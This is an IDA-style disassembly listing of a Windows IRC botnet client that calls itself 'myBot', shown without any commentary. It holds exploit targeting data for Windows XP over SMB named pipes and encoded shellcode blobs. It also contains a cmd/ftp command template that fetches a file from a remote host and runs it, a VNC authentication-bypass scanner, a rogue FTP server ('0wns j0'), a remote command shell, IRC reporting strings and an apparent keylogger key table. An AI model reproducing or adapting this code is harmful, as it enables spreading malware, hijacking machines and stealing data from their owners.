loc_43278C:				; CODE XREF: ___:004327BFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432770
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327AA:				; CODE XREF: ___:00432751j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432836
		jo	short loc_43278C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4327CD+1
		add	bl, [edi]


loc_4327CD:				; CODE XREF: ___:004327C9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_4327E2+2
		cmp	ch, bh
		dec	edx


loc_4327E2:				; CODE XREF: ___:004327DDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432836:				; CODE XREF: ___:004327BDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328BC
		sub	al, 0BCh
		jmp	near ptr 54452C2Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432858	dd 0EFFFC481h, 44FFFFh,	4328A4h	; DATA XREF: ___:0040DC32o
dword_432864	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_432868	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_43286C	dd 258h			; DATA XREF: ___:0040DC28r
byte_432870	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432888	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432874o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328BC:				; CODE XREF: ___:00432840j
		push	eax
		xor	al, 29h


loc_4328BF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4328C8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_4328DC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432984	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433BC8	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433BCC	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_3		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438330o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043833Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EB4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433EDC	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_4340FC	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434168:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_4		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434610	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_434654	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346BC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434704	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434744	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_434788	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347B4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4347E0	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43481C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434848	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_434874	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434A10	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A44	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434A8C	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AB4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434AF4	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B34	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_434B74	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
